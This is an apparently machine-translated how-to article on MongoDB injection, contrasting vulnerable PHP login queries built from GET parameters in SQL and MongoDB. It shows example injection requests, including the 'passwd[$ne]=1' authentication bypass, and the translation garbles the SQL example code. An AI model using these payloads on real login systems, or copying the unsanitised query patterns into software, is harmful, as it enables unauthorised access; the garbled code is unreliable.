Get the App
SLTechnology News&Howtos  ›  Database  › 

How to use GET parameters to judge not strictly MongoDB injection

Shulou Source: shulou.com Published: 2022-05-31 17:28:43 11月14日 Update

This article to share with you is about how to use GET parameters to judge not strictly MongoDB injection, Xiaobian feel quite practical, so share to everyone to learn, I hope you can read this article after some gains, not much to say, follow Xiaobian to see it.

In the era of relational databases, SQL injection attack and defense has become a compulsory course for almost every Web developer, and many NoSQL supporters call NoSQL as well as NoSQL injection.

How to use GET parameter to judge whether MongoDB injection is not strict

Using SQL database to store user name and password system, our process of detecting user name and password may be like this:

mysql_query("SELECT*FROMuser

WHEREusername=".$_ GET['username']. ",

ANDpasswd=".$_ GET['passwd'])

The simplest username and password detection we can do with MongoDB might be something like this:

$collection->find(array(

"username"=>$_GET['username'],

"passwd"=>$_GET['passwd']

));

How to use GET parameter to judge whether MongoDB injection is not strict

In the most common SQL injection, we can construct a request like this:

login.php? username=admin&passwd=abcOR1-

This request would form an SQL statement like this:

SELECT*FROMuserWHEREusername=adminANDpasswd=abcOR1;

Successful injection!

Using the same approach, for the MongoDB query above, you can construct the following request:

login.php? username=admin&passwd[$ne]=1

This request forms a MongoDB query like this:

$collection->find(array(

"username"=>"admin",

"passwd"=>array("$ne"=>1)

));

Successful injection!

The above is how to use GET parameters to judge whether MongoDB injection is strictly carried out. Xiaobian believes that some knowledge points may be seen or used in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.

Tags: Parameters passwords users usernames success data databases more knowledge articles face query detection practical ordinary and at the same time work sessions developers required courses Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Shulou Tech Info Shulou Technology Microsoft NVidia Linux